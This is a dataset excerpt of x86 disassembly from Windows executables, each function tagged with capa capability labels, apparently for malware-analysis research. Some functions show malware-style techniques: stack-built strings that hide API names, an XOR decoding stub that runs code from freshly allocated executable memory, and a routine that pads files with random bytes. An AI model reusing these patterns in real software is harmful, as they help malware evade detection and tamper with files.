joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d550
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x6c
push ebx
mov byte [esp + 0x15], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
mov al, 0x73
mov cl, 0x65
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
push esi
mov byte [esp + 0x19], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x78
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x50
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0x63
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
call fcn.1000d460
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x1c
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [fcn.1001505c]
push 0x1c
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10012828
push edi
call dword [fcn.10015060]
push 0x1c
mov ebp, eax
call esi
add esp, 4
push ebp
call dword [fcn.10015064]
push 0x1c
call esi
add esp, 4
push ebp
mov ebp, dword [fcn.10015068]
call ebp
push 0x1c
call esi
add esp, 4
push edi
call ebp
push 1
push 0
push 3
call fcn.10010710
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.10010710
add esp, 0xc
push 0
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x1000d690
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x1c
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x1c
mov edi, eax
call esi
push 0x1c
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x1c
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000d71a
push 0x1c
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000d720
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x1000d6f8
mov ebx, dword [esp + 0x1c]
jmp 0x1000d724
mov ebx, dword [esp + 0x10]
push 0x1c
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1c
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x1000e000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015150
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002af0
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x1000f080
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push section.af9999
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret
Function at 0x100107d0
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x100127f0]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x100107c0
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [0x100150b4]
mov dword [esp + 0x1c], eax
mov eax, dword [0x100127f0]
push 0x7f8b
push eax
call dword [0x1001509c]
push 2
mov dword [esp + 0x24], eax
call dword [0x10015094]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], 0x10013a80
call dword [0x100150a0]
mov eax, dword [0x100127f0]
push edi
push eax
push 0x66
push eax
call dword [0x100150a8]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x10013a6c
push 0x10013a80
push edi
call dword [0x100150ac]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10012828
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10012828
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10010770
push 0x10012828
call dword [0x10015054]
push 1
push edi
push 2
mov dword [0x100126dc], eax
call fcn.10010710
push edi
push edi
push 4
call fcn.10010710
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10011d40
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x10011610
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10013668], eax
push edi
push edi
call fcn.100104d0
add esp, 8
push 0x3e8
call esi
jmp 0x10010915

Function at 0x10010930
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100109af
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1001099d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1001099d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1001096c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10010c90
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x10013af4
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10013670
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x10013ae4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10010bb0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push 0x10013ad8
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10010c10
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push 0x10013ac8
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [fcn.10015088]
push 0x100138e4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push 0x100138e4
push 2
push ebx
push 0x10013abc
push eax
call dword [fcn.10015084]
mov ecx, dword [esp + 0x10]
push ecx
call dword [fcn.1001506c]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10010bb0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10010c10
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x100113e0
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.10011150
test eax, eax
jne 0x100113ee
call fcn.10010c90
call fcn.100112b0
test eax, eax
jne 0x100113fc
jmp fcn.10010e90
ret
Function at 0x10011400
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100115fa
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x100115d8
mov edx, edi
and edx, 0x800003ff
jns 0x1001159c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x100115bd
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x100115a0
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1001158a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x100139e8]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x40db20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40db2f
pop dword [ebp - 0x30]
mov eax, 0x1a7c567d
add eax, 0xe5c484b2
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xd949dc77
add dword [ebp - 0x40], 0x750868d4
mov dword [ebp - 0x3c], 0x6f9f9543
add dword [ebp - 0x3c], 0xc293b702
mov dword [ebp - 0x38], 0xec8c5aba
add dword [ebp - 0x38], 0x5fbfe974
mov dword [ebp - 0x34], 0x533392ac
add dword [ebp - 0x34], 0xaccc6d54
lea eax, [ebp - 0x40]
push eax
mov eax, 0x61abb0aa
sub eax, 0x616a5012
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xc2d05c15
sub dword [ebp - 0x40], 0x4e5df2bf
mov dword [ebp - 0x3c], 0x77630393
add dword [ebp - 0x3c], 0xca095de2
mov dword [ebp - 0x38], 0x64e7f92e
add dword [ebp - 0x38], 0xfe87733e
mov dword [ebp - 0x34], 0xfda51031
sub dword [ebp - 0x34], 0xfda51031
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xc1c90a91
sub eax, 0xc187aa1d
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x34e62
push 0
call eax
mov ecx, 0xbdb38985
sub ecx, 0xbdb35a1d
mov edi, eax
mov esi, 0xa780ea2b
add esi, 0x58c1bbd5
add esi, dword [ebp - 0x30]
mov ebx, 0x9c923f23
add ebx, 0x943401b2
xor dword [ebp - 0x2c], 0x439b5e06
mov edx, dword [esi]
add dword [ebp - 0x2c], eax
xor edx, ebx
add dword [ebp - 0x14], 0x44f889ed
mov dword [edi], edx
add dword [ebp - 0xc], 0x8b3a834e
add edi, 0x2579dbe2
add edi, 0xda862422
add esi, 4
loop 0x40dc51
add eax, 0x792a7302
add eax, 0x86d63d71
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb1a19522
sub ecx, 0xb1619522
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40ee60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40ee85
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [eax]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40eea6
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x40eea8
xor eax, eax
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x40ef26
jg 0x40eebb
test esi, esi
je 0x40ef26
test ecx, ecx
jl 0x40eeff
jg 0x40eec5
test eax, eax
je 0x40eeff
cmp edi, ecx
jg 0x40eed7
jl 0x40eecf
cmp esi, eax
jae 0x40eed7
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 4]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [ebp - 8]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x40ef02
mov edx, dword [ebp + 8]
test edi, edi
jl 0x40ef26
jg 0x40ef0c
test esi, esi
je 0x40ef26
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x40ef26
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x10001040
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
dec dword [ebp + 0xc]
jne 0x10001060
push 0x1001b164
push 0
push 0
push 0x100029a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop ebp
ret 0xc
Function at 0x10001d20
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push dword [0x1001b24c]
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003b9a
push str.CED3D9Hook.dll
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003bef
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x18
push str.InitializeD3D9Api__
call edi
push str.dllpath__:
call edi
lea eax, [ebp - 0x108]
push eax
call edi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10001e7a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.D3D9Hook_Reset_imp
push ebx
call esi
push str.D3D9Hook_Present_imp
push ebx
mov dword [0x1001b208], eax
call esi
push str.D3D9Hook_DrawPrimitive_imp
push ebx
mov dword [0x1001b20c], eax
call esi
push str.D3D9Hook_DrawIndexedPrimitive_imp
push ebx
mov dword [0x1001b204], eax
call esi
push str.D3D9Hook_DrawPrimitiveUP_imp
push ebx
mov dword [0x1001b200], eax
call esi
push str.D3D9Hook_DrawIndexedPrimitiveUP_imp
push ebx
mov dword [0x1001b1fc], eax
call esi
push str.D3D9Hook_DrawRectPatch_imp
push ebx
mov dword [0x1001b1f8], eax
call esi
push str.D3D9Hook_DrawTriPatch_imp
push ebx
mov dword [0x1001b1f4], eax
call esi
cmp dword [0x1001b208], 0
mov dword [0x1001b1f0], eax
pop esi
je 0x10001e63
cmp dword [0x1001b20c], 0
je 0x10001e63
cmp dword [0x1001b204], 0
je 0x10001e63
cmp dword [0x1001b200], 0
je 0x10001e63
cmp dword [0x1001b1fc], 0
je 0x10001e63
cmp dword [0x1001b1f8], 0
je 0x10001e63
cmp dword [0x1001b1f4], 0
je 0x10001e63
test eax, eax
je 0x10001e63
push str.D3D9Hook:_SUCCESSFULLY_LOADED
call edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003a46
mov esp, ebp
pop ebp
ret
push str.D3D9Hook:_Not_all_exports_found
call edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003a46
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LoadLibraryA_for_the_D3D9_hook_failed:__d
lea eax, [ebp - 0x208]
push 0xff
push eax
call fcn.10003c52
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10003a46
mov esp, ebp
pop ebp
ret
Function at 0x10002160
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [0x1001b24c]
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003b9a
push str.CED3D10Hook.dll
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003bef
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.D3D10Hook_DrawIndexed_imp
push edi
call esi
push str.D3D10Hook_Draw_imp
push edi
mov dword [0x1001b1ec], eax
call esi
push str.D3D10Hook_DrawIndexedInstanced_imp
push edi
mov dword [0x1001b1e8], eax
call esi
push str.D3D10Hook_DrawInstanced_imp
push edi
mov dword [0x1001b1e4], eax
call esi
push str.D3D10Hook_DrawAuto_imp
push edi
mov dword [0x1001b1e0], eax
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov dword [0x1001b1dc], eax
pop esi
call fcn.10003a46
mov esp, ebp
pop ebp
ret

Function at 0x10002380
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [0x1001b24c]
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003b9a
push str.CED3D11Hook.dll
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.10003bef
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.D3D11Hook_DrawIndexed_imp
push edi
call esi
push str.D3D11Hook_Draw_imp
push edi
mov dword [0x1001b1d8], eax
call esi
push str.D3D11Hook_DrawIndexedInstanced_imp
push edi
mov dword [0x1001b1d4], eax
call esi
push str.D3D11Hook_DrawInstanced_imp
push edi
mov dword [0x1001b1d0], eax
call esi
push str.D3D11Hook_DrawAuto_imp
push edi
mov dword [0x1001b1cc], eax
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov dword [0x1001b1c8], eax
pop esi
call fcn.10003a46
mov esp, ebp
pop ebp
ret